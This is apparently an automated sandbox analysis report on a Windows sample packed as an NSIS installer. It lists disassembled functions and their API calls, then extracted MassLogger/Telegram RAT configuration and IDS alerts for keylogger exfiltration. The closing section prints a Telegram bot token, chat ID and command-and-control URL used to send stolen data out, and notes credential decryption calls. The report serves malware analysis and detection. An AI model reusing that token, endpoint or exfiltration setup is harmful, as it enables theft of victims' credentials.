API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,771B2EE0,00405B1A,?,00437800,771B2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,771B2EE0,00405B1A,?,00437800,771B2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,771B2EE0,00405B1A,?,00437800,771B2EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,771B3420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 001558E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;q, xrefs: 00155926
\;q, xrefs: 001558FE
\;q, xrefs: 0015591A
\;q, xrefs: 001558F4

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: \;q$\;q$\;q$\;q
API String ID: 0-2933265366
Opcode ID: e8a58ad1ad472d8edfb3c292d92e17a4feaf3d1132b81388bc5f95a743eea79d
Instruction ID: 77c5235b2c8dcc5d2c2c86d774070737446361be708ff2232c62d94ac68f6048
Opcode Fuzzy Hash: e8a58ad1ad472d8edfb3c292d92e17a4feaf3d1132b81388bc5f95a743eea79d
Instruction Fuzzy Hash: 41018431700915CFCB249E2DC460A2573E7AF8877A72A416AE827CF370DB35EC458791

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: V7OHj6ISEo.exe.4136.7.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CD1EC CryptUnprotectData,		7_2_350CD1EC
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_350CD9D9 CryptUnprotectData,		7_2_350CD9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49974 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49974 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49976 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49976 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:50004 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:50004 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49994 -> 149.154.167.220:443
